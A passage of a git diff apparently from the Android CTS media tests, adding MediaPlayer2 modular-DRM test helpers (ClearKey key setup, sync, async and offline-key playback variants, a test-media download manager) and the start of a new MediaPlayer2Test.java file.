+ + "00000001" // Number of key ids
+ + "60061e017e477e87" // Key id
+ + "7e57d00d1ed00d1e"
+ + "00000000" // Size of Data, must be zero
+ );
+
+
+ protected enum ModularDrmTestType {
+ V0_SYNC_TEST,
+ V1_ASYNC_TEST,
+ V2_SYNC_CONFIG_TEST,
+ V3_ASYNC_DRMPREPARED_TEST,
+ V4_SYNC_OFFLINE_KEY,
+ }
+
+ // TODO: After living on these tests for a while, we can consider grouping them based on
+ // the asset such that each asset is downloaded once and played back with multiple tests.
+ protected void playModularDrmVideoDownload(Uri uri, Uri path, int width, int height,
+ ModularDrmTestType testType) throws Exception {
+ final long downloadTimeOutSeconds = 600;
+ Log.i(TAG, "Downloading file:" + path);
+ MediaDownloadManager mediaDownloadManager = new MediaDownloadManager(mContext);
+ final long id = mediaDownloadManager.downloadFileWithRetries(
+ uri, path, downloadTimeOutSeconds, STREAM_RETRIES);
+ assertFalse("Download " + uri + " failed.", id == -1);
+ Uri file = mediaDownloadManager.getUriForDownloadedFile(id);
+ Log.i(TAG, "Downloaded file:" + path + " id:" + id + " uri:" + file);
+
+ try {
+ playModularDrmVideo(file, width, height, testType);
+ } finally {
+ mediaDownloadManager.removeFile(id);
+ }
+ }
+
+ protected void playModularDrmVideo(Uri uri, int width, int height,
+ ModularDrmTestType testType) throws Exception {
+ // Force gc for a clean start
+ System.gc();
+
+ playModularDrmVideoWithRetries(uri, width, height, PLAY_TIME_MS, testType);
+ }
+
+ protected void playModularDrmVideoWithRetries(Uri file, Integer width, Integer height,
+ int playTime, ModularDrmTestType testType) throws Exception {
+
+ // first the synchronous variation
+ boolean playedSuccessfully = false;
+ for (int i = 0; i < STREAM_RETRIES; i++) {
+ try {
+ Log.v(TAG, "playVideoWithRetries(" + testType + ") try " + i);
+ playLoadedModularDrmVideo(file, width, height, playTime, testType);
+
+ playedSuccessfully = true;
+ break;
+ } catch (PrepareFailedException e) {
+ // we can fail because of network issues, so try again
+ Log.w(TAG, "playVideoWithRetries(" + testType + ") failed on try " + i
+ + ", trying playback again");
+ mPlayer.reset();
+ }
+ }
+ assertTrue("Stream did not play successfully after all attempts (syncDrmSetup)",
+ playedSuccessfully);
+ }
+
+ /**
+ * Play a video which has already been loaded with setDataSource().
+ * The DRM setup is performed synchronously.
+ *
+ * @param file data source
+ * @param width width of the video to verify, or null to skip verification
+ * @param height height of the video to verify, or null to skip verification
+ * @param playTime length of time to play video, or 0 to play entire video
+ * @param testType test type
+ */
+ private void playLoadedModularDrmVideo(final Uri file, final Integer width,
+ final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+ switch (testType) {
+ case V0_SYNC_TEST:
+ case V1_ASYNC_TEST:
+ case V2_SYNC_CONFIG_TEST:
+ case V3_ASYNC_DRMPREPARED_TEST:
+ playLoadedModularDrmVideo_Generic(file, width, height, playTime, testType);
+ break;
+
+ case V4_SYNC_OFFLINE_KEY:
+ playLoadedModularDrmVideo_V4_offlineKey(file, width, height, playTime);
+ break;
+ }
+ }
+
+ private void playLoadedModularDrmVideo_Generic(final Uri file, final Integer width,
+ final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+ final float volume = 0.5f;
+
+ mAudioOnly = (width == 0);
+
+ mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+ mECb = new MediaPlayer2.EventCallback() {
+ @Override
+ public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+ Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+ mOnVideoSizeChangedCalled.signal();
+ }
+
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ fail("Media player had error " + what + " playing video");
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPreparedCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ Log.v(TAG, "playLoadedVideo: onInfo_PlaybackComplete");
+ mOnPlaybackCompleted.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+ mCallStatus = status;
+ mSetDataSourceCallCompleted.signal();
+ }
+ }
+ };
+
+ mPlayer.setEventCallback(mExecutor, mECb);
+ Log.v(TAG, "playLoadedVideo: setDataSource()");
+ mPlayer.setDataSource(new DataSourceDesc.Builder().setDataSource(mContext, file).build());
+ mSetDataSourceCallCompleted.waitForSignal();
+ if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+ throw new PrepareFailedException();
+ }
+
+ SurfaceHolder surfaceHolder = mActivity.getSurfaceHolder();
+ surfaceHolder.setKeepScreenOn(true);
+ mPlayer.setSurface(surfaceHolder.getSurface());
+
+ try {
+ switch (testType) {
+ case V0_SYNC_TEST:
+ preparePlayerAndDrm_V0_syncDrmSetup();
+ break;
+
+ case V1_ASYNC_TEST:
+ preparePlayerAndDrm_V1_asyncDrmSetup();
+ break;
+
+ case V2_SYNC_CONFIG_TEST:
+ preparePlayerAndDrm_V2_syncDrmSetupPlusConfig();
+ break;
+
+ case V3_ASYNC_DRMPREPARED_TEST:
+ preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener();
+ break;
+ }
+
+ } catch (IOException e) {
+ e.printStackTrace();
+ throw new PrepareFailedException();
+ }
+
+ Log.v(TAG, "playLoadedVideo: play()");
+ mPlayer.play();
+ if (!mAudioOnly) {
+ mOnVideoSizeChangedCalled.waitForSignal();
+ }
+ mPlayer.setPlayerVolume(volume);
+
+ // waiting to complete
+ if (playTime == 0) {
+ Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+ mOnPlaybackCompleted.waitForSignal();
+ } else {
+ Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+ mOnPlaybackCompleted.waitForSignal(playTime);
+ }
+
+ try {
+ Log.v(TAG, "playLoadedVideo: releaseDrm");
+ mPlayer.releaseDrm();
+ } catch (Exception e) {
+ e.printStackTrace();
+ throw new PrepareFailedException();
+ }
+ }
+
+ private void preparePlayerAndDrm_V0_syncDrmSetup() throws Exception {
+ Log.v(TAG, "preparePlayerAndDrm_V0: calling prepare()");
+ mPlayer.prepare();
+ mOnPreparedCalled.waitForSignal();
+ if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+ throw new IOException();
+ }
+
+ DrmInfo drmInfo = mPlayer.getDrmInfo();
+ if (drmInfo != null) {
+ setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+ MediaDrm.KEY_TYPE_STREAMING);
+ Log.v(TAG, "preparePlayerAndDrm_V0: setupDrm done!");
+ }
+ }
+
+ private void preparePlayerAndDrm_V1_asyncDrmSetup() throws InterruptedException {
+ final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+ mPlayer.setDrmEventCallback(mExecutor, new MediaPlayer2.DrmEventCallback() {
+ @Override
+ public void onDrmInfo(MediaPlayer2 mp, DataSourceDesc dsd, DrmInfo drmInfo) {
+ Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo" + drmInfo);
+
+ // in the callback (async mode) so handling exceptions here
+ try {
+ setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+ MediaDrm.KEY_TYPE_STREAMING);
+ } catch (Exception e) {
+ Log.v(TAG, "preparePlayerAndDrm_V1: setupDrm EXCEPTION " + e);
+ asyncSetupDrmError.set(true);
+ }
+
+ mOnDrmInfoCalled.signal();
+ Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo done!");
+ }
+ });
+
+ Log.v(TAG, "preparePlayerAndDrm_V1: calling prepare()");
+ mPlayer.prepare();
+
+ mOnDrmInfoCalled.waitForSignal();
+
+ // Waiting till the player is prepared
+ mOnPreparedCalled.waitForSignal();
+
+ // to handle setupDrm error (async) in the main thread rather than the callback
+ if (asyncSetupDrmError.get()) {
+ fail("preparePlayerAndDrm_V1: setupDrm");
+ }
+ }
+
+ private void preparePlayerAndDrm_V2_syncDrmSetupPlusConfig() throws Exception {
+ mPlayer.setOnDrmConfigHelper(new MediaPlayer2.OnDrmConfigHelper() {
+ @Override
+ public void onDrmConfig(MediaPlayer2 mp, DataSourceDesc dsd) {
+ String widevineSecurityLevel3 = "L3";
+ String securityLevelProperty = "securityLevel";
+
+ try {
+ String level = mp.getDrmPropertyString(securityLevelProperty);
+ Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: "
+ + securityLevelProperty + " -> " + level);
+ mp.setDrmPropertyString(securityLevelProperty, widevineSecurityLevel3);
+ level = mp.getDrmPropertyString(securityLevelProperty);
+ Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: "
+ + securityLevelProperty + " -> " + level);
+ } catch (MediaPlayer2.NoDrmSchemeException e) {
+ Log.v(TAG, "preparePlayerAndDrm_V2: NoDrmSchemeException");
+ } catch (Exception e) {
+ Log.v(TAG, "preparePlayerAndDrm_V2: onDrmConfig EXCEPTION " + e);
+ }
+ }
+ });
+
+ Log.v(TAG, "preparePlayerAndDrm_V2: calling prepare()");
+ mPlayer.prepare();
+
+ mOnPreparedCalled.waitForSignal();
+ if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+ throw new IOException();
+ }
+
+ DrmInfo drmInfo = mPlayer.getDrmInfo();
+ if (drmInfo != null) {
+ setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+ MediaDrm.KEY_TYPE_STREAMING);
+ Log.v(TAG, "preparePlayerAndDrm_V2: setupDrm done!");
+ }
+ }
+
+ private void preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener()
+ throws InterruptedException {
+ final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+ mPlayer.setDrmEventCallback(mExecutor, new MediaPlayer2.DrmEventCallback() {
+ @Override
+ public void onDrmInfo(MediaPlayer2 mp, DataSourceDesc dsd, DrmInfo drmInfo) {
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo" + drmInfo);
+
+ // DRM preperation
+ List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+ if (supportedSchemes.isEmpty()) {
+ Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: No supportedSchemes");
+ asyncSetupDrmError.set(true);
+ mOnDrmInfoCalled.signal();
+ // we won't call prepareDrm anymore but need to get passed the wait
+ mOnDrmPreparedCalled.signal();
+ return;
+ }
+
+ // setting up with the first supported UUID
+ // instead of supportedSchemes[0] in GTS
+ UUID drmScheme = CLEARKEY_SCHEME_UUID;
+ Log.d(TAG, "preparePlayerAndDrm_V3: onDrmInfo: selected " + drmScheme);
+
+ try {
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: calling prepareDrm");
+ mp.prepareDrm(drmScheme);
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: called prepareDrm");
+ } catch (Exception e) {
+ e.printStackTrace();
+ Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: prepareDrm exception " + e);
+ asyncSetupDrmError.set(true);
+ mOnDrmInfoCalled.signal();
+ // need to get passed the wait
+ mOnDrmPreparedCalled.signal();
+ return;
+ }
+
+ mOnDrmInfoCalled.signal();
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo done!");
+ }
+
+ @Override
+ public void onDrmPrepared(MediaPlayer2 mp, DataSourceDesc dsd, int status) {
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared status: " + status);
+
+ assertTrue("preparePlayerAndDrm_V3: onDrmPrepared did not succeed",
+ status == MediaPlayer2.PREPARE_DRM_STATUS_SUCCESS);
+
+ DrmInfo drmInfo = mPlayer.getDrmInfo();
+
+ // in the callback (async mode) so handling exceptions here
+ try {
+ setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+ MediaDrm.KEY_TYPE_STREAMING);
+ } catch (Exception e) {
+ Log.v(TAG, "preparePlayerAndDrm_V3: setupDrm EXCEPTION " + e);
+ asyncSetupDrmError.set(true);
+ }
+
+ mOnDrmPreparedCalled.signal();
+ Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared done!");
+ }
+ });
+
+ Log.v(TAG, "preparePlayerAndDrm_V3: calling prepare()");
+ mPlayer.prepare();
+
+ // Waiting till the player is prepared
+ mOnPreparedCalled.waitForSignal();
+
+ // Unlike v3, onDrmPrepared is not synced to onPrepared b/c of its own thread handler
+ mOnDrmPreparedCalled.waitForSignal();
+
+ // to handle setupDrm error (async) in the main thread rather than the callback
+ if (asyncSetupDrmError.get()) {
+ fail("preparePlayerAndDrm_V3: setupDrm");
+ }
+ }
+
+ private void playLoadedModularDrmVideo_V4_offlineKey(final Uri file, final Integer width,
+ final Integer height, int playTime) throws Exception {
+ final float volume = 0.5f;
+
+ mAudioOnly = (width == 0);
+
+ SurfaceHolder surfaceHolder = mActivity.getSurfaceHolder();
+ Log.v(TAG, "playLoadedModularDrmVideo_V4_offlineKey: setSurface " + surfaceHolder);
+ mPlayer.setSurface(surfaceHolder.getSurface());
+ surfaceHolder.setKeepScreenOn(true);
+
+ mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+ DrmInfo drmInfo = null;
+
+ for (int round = 0; round < 2; round++) {
+ boolean keyRequestRound = (round == 0);
+ boolean restoreRound = (round == 1);
+ Log.v(TAG, "playLoadedVideo: round " + round);
+
+ try {
+ mPlayer.setEventCallback(mExecutor, mECb);
+
+ Log.v(TAG, "playLoadedVideo: setDataSource()");
+ mPlayer.setDataSource(
+ new DataSourceDesc.Builder().setDataSource(mContext, file).build());
+
+ Log.v(TAG, "playLoadedVideo: prepare()");
+ mPlayer.prepare();
+ mOnPreparedCalled.waitForSignal();
+
+ // but preparing the DRM every time with proper key request type
+ drmInfo = mPlayer.getDrmInfo();
+ if (drmInfo != null) {
+ if (keyRequestRound) {
+ // asking for offline keys
+ setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+ MediaDrm.KEY_TYPE_OFFLINE);
+ } else if (restoreRound) {
+ setupDrmRestore(drmInfo, true /* prepareDrm */);
+ } else {
+ fail("preparePlayer: unexpected round " + round);
+ }
+ Log.v(TAG, "preparePlayer: setupDrm done!");
+ }
+
+ } catch (IOException e) {
+ e.printStackTrace();
+ throw new PrepareFailedException();
+ }
+
+ Log.v(TAG, "playLoadedVideo: play()");
+ mPlayer.play();
+ if (!mAudioOnly) {
+ mOnVideoSizeChangedCalled.waitForSignal();
+ }
+ mPlayer.setPlayerVolume(volume);
+
+ // waiting to complete
+ if (playTime == 0) {
+ Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+ mOnPlaybackCompleted.waitForSignal();
+ } else {
+ Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+ mOnPlaybackCompleted.waitForSignal(playTime);
+ }
+
+ try {
+ if (drmInfo != null) {
+ if (restoreRound) {
+ // releasing the offline key
+ setupDrm(null /* drmInfo */, false /* prepareDrm */,
+ true /* synchronousNetworking */, MediaDrm.KEY_TYPE_RELEASE);
+ Log.v(TAG, "playLoadedVideo: released offline keys");
+ }
+
+ Log.v(TAG, "playLoadedVideo: releaseDrm");
+ mPlayer.releaseDrm();
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ throw new PrepareFailedException();
+ }
+
+ if (keyRequestRound) {
+ mOnPreparedCalled.reset();
+ mOnVideoSizeChangedCalled.reset();
+ mOnPlaybackCompleted.reset();
+ final int sleepBetweenRounds = 1000;
+ Thread.sleep(sleepBetweenRounds);
+
+ Log.v(TAG, "playLoadedVideo: reset");
+ mPlayer.reset();
+ }
+ } // for
+ }
+
+ // Converts a BMFF PSSH initData to a raw cenc initData
+ protected byte[] makeCencPSSH(UUID uuid, byte[] bmffPsshData) {
+ byte[] pssh_header = new byte[] { (byte) 'p', (byte) 's', (byte) 's', (byte) 'h' };
+ byte[] pssh_version = new byte[] { 1, 0, 0, 0 };
+ int boxSizeByteCount = 4;
+ int uuidByteCount = 16;
+ int dataSizeByteCount = 4;
+ // Per "W3C cenc Initialization Data Format" document:
+ // box size + 'pssh' + version + uuid + payload + size of data
+ int boxSize = boxSizeByteCount + pssh_header.length + pssh_version.length
+ + uuidByteCount + bmffPsshData.length + dataSizeByteCount;
+ int dataSize = 0;
+
+ // the default write is big-endian, i.e., network byte order
+ ByteBuffer rawPssh = ByteBuffer.allocate(boxSize);
+ rawPssh.putInt(boxSize);
+ rawPssh.put(pssh_header);
+ rawPssh.put(pssh_version);
+ rawPssh.putLong(uuid.getMostSignificantBits());
+ rawPssh.putLong(uuid.getLeastSignificantBits());
+ rawPssh.put(bmffPsshData);
+ rawPssh.putInt(dataSize);
+
+ return rawPssh.array();
+ }
+
+ /*
+ * Sets up the DRM for the first DRM scheme from the supported list.
+ *
+ * @param drmInfo DRM info of the source
+ * @param prepareDrm whether prepareDrm should be called
+ * @param synchronousNetworking whether the network operation of key request/response will
+ * be performed synchronously
+ */
+ private void setupDrm(DrmInfo drmInfo, boolean prepareDrm, boolean synchronousNetworking,
+ int keyType) throws Exception {
+ Log.d(TAG, "setupDrm: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm
+ + " synchronousNetworking: " + synchronousNetworking);
+ try {
+ byte[] initData = null;
+ String mime = null;
+ String keyTypeStr = "Unexpected";
+
+ switch (keyType) {
+ case MediaDrm.KEY_TYPE_STREAMING:
+ case MediaDrm.KEY_TYPE_OFFLINE:
+ // DRM preparation
+ List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+ if (supportedSchemes.isEmpty()) {
+ fail("setupDrm: No supportedSchemes");
+ }
+
+ // instead of supportedSchemes[0] in GTS
+ UUID drmScheme = CLEARKEY_SCHEME_UUID;
+ Log.d(TAG, "setupDrm: selected " + drmScheme);
+
+ if (prepareDrm) {
+ mPlayer.prepareDrm(drmScheme);
+ }
+
+ byte[] psshData = drmInfo.getPssh().get(drmScheme);
+ // diverging from GTS
+ if (psshData == null) {
+ initData = mClearKeyPssh;
+ Log.d(TAG, "setupDrm: CLEARKEY scheme not found in PSSH."
+ + " Using default data.");
+ } else {
+ // Can skip conversion if ClearKey adds support for BMFF initData b/64863112
+ initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
+ }
+ Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: "
+ + Arrays.toString(initData));
+
+ // diverging from GTS
+ mime = "cenc";
+
+ keyTypeStr = (keyType == MediaDrm.KEY_TYPE_STREAMING)
+ ? "KEY_TYPE_STREAMING" : "KEY_TYPE_OFFLINE";
+ break;
+
+ case MediaDrm.KEY_TYPE_RELEASE:
+ if (mKeySetId == null) {
+ fail("setupDrm: KEY_TYPE_RELEASE requires a valid keySetId.");
+ }
+ keyTypeStr = "KEY_TYPE_RELEASE";
+ break;
+
+ default:
+ fail("setupDrm: Unexpected keyType " + keyType);
+ }
+
+ final MediaDrm.KeyRequest request = mPlayer.getDrmKeyRequest(
+ (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+ initData,
+ mime,
+ keyType,
+ null /* optionalKeyRequestParameters */
+ );
+
+ Log.d(TAG, "setupDrm: mPlayer.getDrmKeyRequest(" + keyTypeStr
+ + ") request -> " + request);
+
+ // diverging from GTS
+ byte[][] clearKeys = new byte[][] { CLEAR_KEY_CENC };
+ byte[] response = createKeysResponse(request, clearKeys);
+
+ // null is returned when the response is for a streaming or release request.
+ byte[] keySetId = mPlayer.provideDrmKeyResponse(
+ (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+ response);
+ Log.d(TAG, "setupDrm: provideDrmKeyResponse -> " + Arrays.toString(keySetId));
+ // storing offline key for a later restore
+ mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
+
+ } catch (MediaPlayer2.NoDrmSchemeException e) {
+ Log.d(TAG, "setupDrm: NoDrmSchemeException");
+ e.printStackTrace();
+ throw e;
+ } catch (MediaPlayer2.ProvisioningNetworkErrorException e) {
+ Log.d(TAG, "setupDrm: ProvisioningNetworkErrorException");
+ e.printStackTrace();
+ throw e;
+ } catch (MediaPlayer2.ProvisioningServerErrorException e) {
+ Log.d(TAG, "setupDrm: ProvisioningServerErrorException");
+ e.printStackTrace();
+ throw e;
+ } catch (UnsupportedSchemeException e) {
+ Log.d(TAG, "setupDrm: UnsupportedSchemeException");
+ e.printStackTrace();
+ throw e;
+ } catch (ResourceBusyException e) {
+ Log.d(TAG, "setupDrm: ResourceBusyException");
+ e.printStackTrace();
+ throw e;
+ } catch (Exception e) {
+ Log.d(TAG, "setupDrm: Exception " + e);
+ e.printStackTrace();
+ throw e;
+ }
+ } // setupDrm
+
+ private void setupDrmRestore(DrmInfo drmInfo, boolean prepareDrm) throws Exception {
+ Log.d(TAG, "setupDrmRestore: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm);
+ try {
+ if (prepareDrm) {
+ // DRM preparation
+ List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+ if (supportedSchemes.isEmpty()) {
+ fail("setupDrmRestore: No supportedSchemes");
+ }
+
+ // instead of supportedSchemes[0] in GTS
+ UUID drmScheme = CLEARKEY_SCHEME_UUID;
+ Log.d(TAG, "setupDrmRestore: selected " + drmScheme);
+
+ mPlayer.prepareDrm(drmScheme);
+ }
+
+ if (mKeySetId == null) {
+ fail("setupDrmRestore: Offline key has not been setup.");
+ }
+
+ mPlayer.restoreDrmKeys(mKeySetId);
+
+ } catch (MediaPlayer2.NoDrmSchemeException e) {
+ Log.v(TAG, "setupDrmRestore: NoDrmSchemeException");
+ e.printStackTrace();
+ throw e;
+ } catch (Exception e) {
+ Log.v(TAG, "setupDrmRestore: Exception " + e);
+ e.printStackTrace();
+ throw e;
+ }
+ } // setupDrmRestore
+
+ //////////////////////////////////////////////////////////////////////////////////////////////
+ // Diverging from GTS
+
+ // Clearkey helpers
+
+ /**
+ * Convert a hex string into byte array.
+ */
+ private static byte[] hexStringToByteArray(String s) {
+ int len = s.length();
+ byte[] data = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ + Character.digit(s.charAt(i + 1), 16));
+ }
+ return data;
+ }
+
+ /**
+ * Extracts key ids from the pssh blob returned by getDrmKeyRequest() and
+ * places it in keyIds.
+ * keyRequestBlob format (section 5.1.3.1):
+ * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html
+ *
+ * @return size of keyIds vector that contains the key ids, 0 for error
+ */
+ private int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
+ if (0 == keyRequestBlob.length || keyIds == null) {
+ Log.e(TAG, "getKeyIds: Empty keyRequestBlob or null keyIds.");
+ return 0;
+ }
+
+ String jsonLicenseRequest = new String(keyRequestBlob);
+ keyIds.clear();
+
+ try {
+ JSONObject license = new JSONObject(jsonLicenseRequest);
+ Log.v(TAG, "getKeyIds: license: " + license);
+ final JSONArray ids = license.getJSONArray("kids");
+ Log.v(TAG, "getKeyIds: ids: " + ids);
+ for (int i = 0; i < ids.length(); ++i) {
+ keyIds.add(ids.getString(i));
+ }
+ } catch (JSONException e) {
+ Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
+ return 0;
+ }
+ return keyIds.size();
+ }
+
+ /**
+ * Creates the JSON Web Key string.
+ *
+ * @return JSON Web Key string.
+ */
+ private String createJsonWebKeySet(Vector<String> keyIds, Vector<String> keys) {
+ String jwkSet = "{\"keys\":[";
+ for (int i = 0; i < keyIds.size(); ++i) {
+ String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
+ String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
+
+ jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id + "\",\"k\":\"" + key + "\"}";
+ }
+ jwkSet += "]}";
+ return jwkSet;
+ }
+
+ /**
+ * Retrieves clear key ids from KeyRequest and creates the response in place.
+ */
+ private byte[] createKeysResponse(MediaDrm.KeyRequest keyRequest, byte[][] clearKeys) {
+
+ Vector<String> keyIds = new Vector<String>();
+ if (0 == getKeyIds(keyRequest.getData(), keyIds)) {
+ Log.e(TAG, "No key ids found in initData");
+ return null;
+ }
+
+ if (clearKeys.length != keyIds.size()) {
+ Log.e(TAG, "Mismatch number of key ids and keys: ids="
+ + keyIds.size() + ", keys=" + clearKeys.length);
+ return null;
+ }
+
+ // Base64 encodes clearkeys. Keys are known to the application.
+ Vector<String> keys = new Vector<String>();
+ for (int i = 0; i < clearKeys.length; ++i) {
+ String clearKey = Base64.encodeToString(clearKeys[i],
+ Base64.NO_PADDING | Base64.NO_WRAP);
+ keys.add(clearKey);
+ }
+
+ String jwkSet = createJsonWebKeySet(keyIds, keys);
+ byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
+
+ return jsonResponse;
+ }
+
+ //////////////////////////////////////////////////////////////////////////////////////////////
+ // Playback/download helpers
+
+ private static class MediaDownloadManager {
+ private static final String TAG = "MediaDownloadManager";
+
+ private final Context mContext;
+ private final DownloadManager mDownloadManager;
+
+ MediaDownloadManager(Context context) {
+ mContext = context;
+ mDownloadManager =
+ (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+ }
+
+ public long downloadFileWithRetries(Uri uri, Uri file, long timeout, int retries)
+ throws Exception {
+ long id = -1;
+ for (int i = 0; i < retries; i++) {
+ try {
+ id = downloadFile(uri, file, timeout);
+ if (id != -1) {
+ break;
+ }
+ } catch (Exception e) {
+ removeFile(id);
+ Log.w(TAG, "Download failed " + i + " times ");
+ }
+ }
+ return id;
+ }
+
+ public long downloadFile(Uri uri, Uri file, long timeout) throws Exception {
+ Log.i(TAG, "uri:" + uri + " file:" + file + " wait:" + timeout + " Secs");
+ final DownloadReceiver receiver = new DownloadReceiver();
+ long id = -1;
+ try {
+ IntentFilter intentFilter =
+ new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+ mContext.registerReceiver(receiver, intentFilter);
+
+ Request request = new Request(uri);
+ request.setDestinationUri(file);
+ id = mDownloadManager.enqueue(request);
+ Log.i(TAG, "enqueue:" + id);
+
+ receiver.waitForDownloadComplete(timeout, id);
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ }
+ return id;
+ }
+
+ public void removeFile(long id) {
+ Log.i(TAG, "removeFile:" + id);
+ mDownloadManager.remove(id);
+ }
+
+ public Uri getUriForDownloadedFile(long id) {
+ return mDownloadManager.getUriForDownloadedFile(id);
+ }
+
+ private final class DownloadReceiver extends BroadcastReceiver {
+ private HashSet<Long> mCompleteIds = new HashSet<>();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ synchronized (mCompleteIds) {
+ if (DownloadManager.ACTION_DOWNLOAD_COMPLETE.equals(intent.getAction())) {
+ mCompleteIds.add(
+ intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1));
+ mCompleteIds.notifyAll();
+ }
+ }
+ }
+
+ private boolean isCompleteLocked(long... ids) {
+ for (long id : ids) {
+ if (!mCompleteIds.contains(id)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ public void waitForDownloadComplete(long timeoutSecs, long... waitForIds)
+ throws InterruptedException {
+ if (waitForIds.length == 0) {
+ throw new IllegalArgumentException("Missing IDs to wait for");
+ }
+
+ final long startTime = SystemClock.elapsedRealtime();
+ do {
+ synchronized (mCompleteIds) {
+ mCompleteIds.wait(1000);
+ if (isCompleteLocked(waitForIds)) {
+ return;
+ }
+ }
+ } while ((SystemClock.elapsedRealtime() - startTime) < timeoutSecs * 1000);
+
+ throw new InterruptedException(
+ "Timeout waiting for IDs " + Arrays.toString(waitForIds)
+ + "; received " + mCompleteIds.toString()
+ + ". Make sure you have WiFi or some other connectivity for this test.");
+ }
+ }
+
+ } // MediaDownloadManager
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
new file mode 100644
index 0000000..fe4f7b9
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -0,0 +1,2283 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.hardware.Camera;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.DataSourceDesc;
+import android.media.Media2DataSource;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer2;
+import android.media.MediaRecorder;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SubtitleData;
+import android.media.SyncParams;
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Visualizer;
+import android.media.cts.R;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
